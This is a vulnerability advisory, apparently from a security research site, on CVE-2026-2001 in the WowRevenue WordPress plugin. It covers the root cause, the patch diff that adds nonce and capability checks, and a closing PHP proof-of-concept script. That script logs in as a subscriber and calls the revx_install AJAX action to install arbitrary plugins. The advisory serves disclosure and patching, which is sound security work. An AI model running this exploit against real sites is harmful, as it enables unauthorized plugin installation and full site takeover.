Atomic Edge analysis of CVE-2026-2001:
The WowRevenue WordPress plugin contains a missing authorization vulnerability in versions up to and including 2.1.3. The flaw allows authenticated users with subscriber-level permissions or higher to install and activate arbitrary plugins via an AJAX endpoint. This vulnerability has a CVSS score of 8.8 and can lead to remote code execution.
The root cause is the absence of capability and nonce checks in the `install_activate_plugin` function within `/revenue/includes/notice/class-notice.php`. Before the patch, the function at line 919 directly accepted the `install_plugin` POST parameter without verifying the user’s `install_plugins` capability or validating a nonce. The function then passed the user-controlled `$plugin_slug` to the `Xpo::install_and_active_plugin` method in `/revenue/includes/durbin/class-xpo.php`. The vulnerable code path lacked any authorization mechanism, permitting low-privileged users to trigger plugin installation.
Exploitation requires an authenticated attacker with subscriber access. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `revx_install` and the `install_plugin` parameter containing the slug of the plugin to install. The AJAX handler `revx_install` maps to the vulnerable `Notice::install_activate_plugin` function. The attacker can specify any plugin slug, which the vulnerable code passes to WordPress’s plugin installation routines. This allows installation of arbitrary plugins from the WordPress repository or potentially from custom sources.
The patch introduces three key security controls. First, it adds a nonce check with `check_ajax_referer(‘revenue-dashboard’, ‘nonce’)` at line 921. Second, it implements a capability check `if (! current_user_can(‘install_plugins’))` at line 923, restricting the function to users with administrator-level permissions. Third, the patch adds a default case to the switch statement in `class-xpo.php` at line 348 that returns `false` for unknown plugin slugs, preventing arbitrary plugin installation. The front-end JavaScript in `class-notice.php` was also updated to include the nonce in AJAX requests at line 1276.
Successful exploitation grants an attacker the ability to install any WordPress plugin. This directly leads to privilege escalation, as a malicious plugin can provide backdoor access or execute arbitrary code. The attacker can achieve full site compromise and remote code execution. The vulnerability bypasses WordPress’s built-in security model that restricts plugin management to administrators.
--- a/revenue/includes/durbin/class-xpo.php
+++ b/revenue/includes/durbin/class-xpo.php
@@ -340,6 +340,11 @@
case 'wow_addon':
$plugin_slug = 'product-addons';
break;
+ case 'woocommerce':
+ $plugin_slug = 'woocommerce';
+ break;
+ default:
+ return false;
}
if ( ! file_exists( WP_PLUGIN_DIR . '/' . $plugin_slug . '/' . $plugin_slug . '.php' ) ) {
--- a/revenue/includes/notice/class-notice.php
+++ b/revenue/includes/notice/class-notice.php
@@ -39,7 +39,7 @@
// REST API routes.
add_action( 'rest_api_init', array( $this, 'register_rest_route' ) );
- // Woocommerce Install Action
+ // Woocommerce Install Action.
add_action( 'wp_ajax_revx_install', array( $this, 'install_activate_plugin' ) );
}
@@ -887,7 +887,19 @@
<h3><?php esc_html_e( 'Welcome to Revenue.', 'revenue' ); ?></h3>
<p><?php esc_html_e( 'Revenue is a WooCommerce-based plugin. So you need to installed & activate WooCommerce to start using Revenue.', 'revenue' ); ?></p>
<div class="revx-install-btn-wrap">
- <a class="wc-install-btn revx-install-btn button button-primary" data-plugin-slug="<?php echo esc_attr( $plugin_slug ); ?>" href="#"><span class="dashicons dashicons-image-rotate"></span><?php file_exists( WP_PLUGIN_DIR . '/woocommerce/woocommerce.php' ) ? esc_html_e( 'Activate WooCommerce', 'revenue' ) : esc_html_e( 'Install WooCommerce', 'revenue' ); ?></a>
+ <a
+ class="wc-install-btn revx-install-btn button button-primary"
+ data-plugin-slug="<?php echo esc_attr( $plugin_slug ); ?>"
+ data-nonce="<?php echo esc_attr( wp_create_nonce( 'revenue-dashboard' ) ); ?>"
+ href="#"
+ >
+ <span class="dashicons dashicons-image-rotate"></span>
+ <?php
+ file_exists( WP_PLUGIN_DIR . '/woocommerce/woocommerce.php' )
+ ? esc_html_e( 'Activate WooCommerce', 'revenue' )
+ : esc_html_e( 'Install WooCommerce', 'revenue' );
+ ?>
+ </a>
<?php if ( 'required' !== $type ) : ?>
<a href="<?php echo esc_url( add_query_arg( array( 'revx_install_key' => $install_key_tran ) ) ); ?>" class="revx-install-cancel wc-dismiss-notice">
<?php esc_html_e( 'Discard', 'revenue' ); ?>
@@ -907,12 +919,22 @@
* @return STRING | Redirect URL
*/
public function install_activate_plugin() {
+
+ check_ajax_referer( 'revenue-dashboard', 'nonce' );
+
+ if ( ! current_user_can( 'install_plugins' ) ) {
+ wp_send_json_error( __( 'You do not have sufficient permissions to install plugins.', 'revenue' ) );
+ }
if ( ! isset( $_POST['install_plugin'] ) ) {
- return wp_send_json_error( esc_html__( 'Invalid request.', 'revenue' ) );
+ wp_send_json_error( esc_html__( 'Invalid request.', 'revenue' ) );
}
$plugin_slug = sanitize_text_field( wp_unslash( $_POST['install_plugin'] ) );
- Xpo::install_and_active_plugin( $plugin_slug );
+ $res = Xpo::install_and_active_plugin( $plugin_slug );
+
+ if ( ! $res ) {
+ wp_send_json_error( esc_html__( 'Unknown plugin.', 'revenue' ) );
+ }
if ( wp_doing_ajax() || is_network_admin() || isset( $_GET['activate-multi'] ) || isset( $_POST['action'] ) && 'activate-selected' == sanitize_text_field( $_POST['action'] ) ) { //phpcs:ignore
return;
@@ -1251,7 +1273,8 @@
url: ajaxurl,
data: {
install_plugin: $that.attr('data-plugin-slug'),
- action: 'revx_install'
+ action: 'revx_install',
+ nonce: $that.attr('data-nonce'),
},
beforeSend: function() {
$that.parents('.wc-install').addClass('loading');
--- a/revenue/revenue.php
+++ b/revenue/revenue.php
@@ -3,7 +3,7 @@
* Plugin Name: WowRevenue
* Plugin URI: https://www.wowrevenue.com/
* Description: WowRevenue is a product bundles plugin with various discount campaigns, allowing you to create enticing offers and encourage shoppers to make more purchases. As a result, your average order value and overall revenue will be increased.
- * Version: 2.1.3
+ * Version: 2.1.4
* Author: WowRevenue
* Author URI: https://wowrevenue.com/
* License: GPLv3
@@ -30,7 +30,7 @@
}
if ( ! defined( 'REVENUE_VER' ) ) {
- define( 'REVENUE_VER', '2.1.3' );
+ define( 'REVENUE_VER', '2.1.4' );
}
// // Auto-generate translation files from .po files
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2001 - WowRevenue <= 2.1.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Installation/Activation
<?php
$target_url = 'http://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$plugin_to_install = 'woocommerce'; // Slug of plugin to install from WordPress repository
// Step 1: Authenticate to obtain WordPress session cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Step 2: Exploit the missing authorization in the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
'action' => 'revx_install',
'install_plugin' => $plugin_to_install
);
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);
// Step 3: Check response for success indicators
if (strpos($ajax_response, 'success') !== false || strpos($ajax_response, 'activated') !== false) {
echo "[+] SUCCESS: Plugin '$plugin_to_install' installation/activation likely triggered.n";
echo "[+] Response: " . $ajax_response . "n";
} else {
echo "[-] Exploit may have failed or site is patched.n";
echo "[-] Response: " . $ajax_response . "n";
}
curl_close($ch);
?>